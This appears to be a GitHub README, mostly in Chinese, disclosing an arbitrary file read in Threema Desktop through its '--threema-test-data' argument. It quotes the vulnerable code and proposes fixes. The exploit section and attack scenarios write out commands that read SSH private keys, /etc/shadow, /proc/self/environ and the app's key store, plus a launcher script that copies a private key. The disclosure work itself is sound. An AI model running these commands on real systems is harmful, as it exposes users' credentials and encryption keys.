jabir-dev/CVE-2026-ThreemaDesktop-ArbitraryFileRead

GitHub: jabir-dev/CVE-2026-ThreemaDesktop-ArbitraryFileRead

Threema Desktop任意文件读取漏洞利用工具

Stars: 0 | Forks: 0

# CVE-2026-XXXXX: Threema Desktop 通过 CLI 参数任意文件读取 ## 概述 | 字段 | 值 | |-------|-------| | **产品** | Threema Desktop | | **供应商** | Threema GmbH (threema-ch) | | **版本** | 所有版本 | | **类型** | 任意文件读取 (CWE-22 / CWE-73) | | **CVSS 4.0** | 7.1 高 | | **影响** | 读取 Threema 进程可访问的任何文件 | | **仓库** | https://github.com/threema-ch/threema-desktop | ## 漏洞 `--threema-test-data` CLI 参数通过 `fs.readFileSync()` 读取任意文件,没有任何路径验证。此参数在 **所有构建模式**(生产、测试、调试)中可用。 ### 漏洞代码 ``` // apps/desktop/src/electron/electron-main.ts:905-915 electron.ipcMain.handle(ElectronIpcCommand.GET_TEST_DATA, (event) => { validateSenderFrame(event.senderFrame); const testDataFileName = parameters['test-data']; try { return testDataFileName !== undefined ? fs.readFileSync(testDataFileName, 'utf8') // ANY FILE - NO VALIDATION : undefined; } catch { throw new Error(`Failed to load test data file: ${testDataFileName}`); } }); ``` ### 参数定义(无限制) ``` // Line 122 - available in ALL builds, no DEBUG/testing guard 'test-data': v.string().optional(), ``` ## 利用 ``` # 读取系统文件 threema-desktop --threema-test-data=/etc/passwd # 读取 SSH 私钥 threema-desktop --threema-test-data=/home/user/.ssh/id_rsa # 读取 Threema 的自加密密钥存储 threema-desktop --threema-test-data=/home/user/.config/Threema/consumer-default/data/keystorage.bin # 读取进程环境(包含令牌、机密信息) threema-desktop --threema-test-data=/proc/self/environ ``` 然后文件内容可以通过渲染器进程通过 IPC 访问: ``` const fileContent = await window.electron.ipcRenderer.invoke('GET_TEST_DATA'); // Contains the full content of whatever file was specified ``` ## 攻击场景 ### 场景 1:修改桌面启动器 攻击者修改 `.desktop` 文件或 Windows 快捷方式: ``` Exec=threema-desktop --threema-test-data=/home/user/.ssh/id_rsa ``` 下次用户启动 Threema 时,SSH 密钥将被加载到渲染器内存中。 ### 场景 2:恶意软件/脚本注入 恶意软件替换 Threema 启动器脚本: ``` #!/bin/bash # 启动前窃取 cp ~/.ssh/id_rsa /tmp/stolen_key /opt/threema-desktop/threema --threema-test-data=/etc/shadow "$@" ``` ### 场景 3:自动化管道 如果通过 CI/CD、systemd 或自动化启动 Threema Desktop: ``` # 攻击者修改服务文件 ExecStart=/opt/threema --threema-test-data=/etc/shadow ``` ## 为什么这是关键的 1. **无构建模式限制** - 在生产构建中工作 2. **无路径验证** - 读取进程可访问的任何文件 3. **通过 IPC 暴露内容** - 渲染器进程获取文件内容 4. **可以读取其自己的机密** - keystorage.bin 包含数据库加密密钥 5. **静默** - 无用户提示,无日志警告危险路径 ## 建议的修复 ``` // Option A: Remove test-data from production builds if (import.meta.env.BUILD_MODE === 'testing') { electron.ipcMain.handle(ElectronIpcCommand.GET_TEST_DATA, ...); } // Option B: Restrict to specific directory const safePath = path.resolve(testDataFileName); if (!safePath.startsWith(path.resolve(appPath, 'test-data'))) { throw new Error('test-data path must be within app directory'); } ``` ## 免责声明 仅限 **授权安全测试** 和 **教育目的**。 ## 许可证 MIT
标签:MITM代理, 威胁模拟, 数据可视化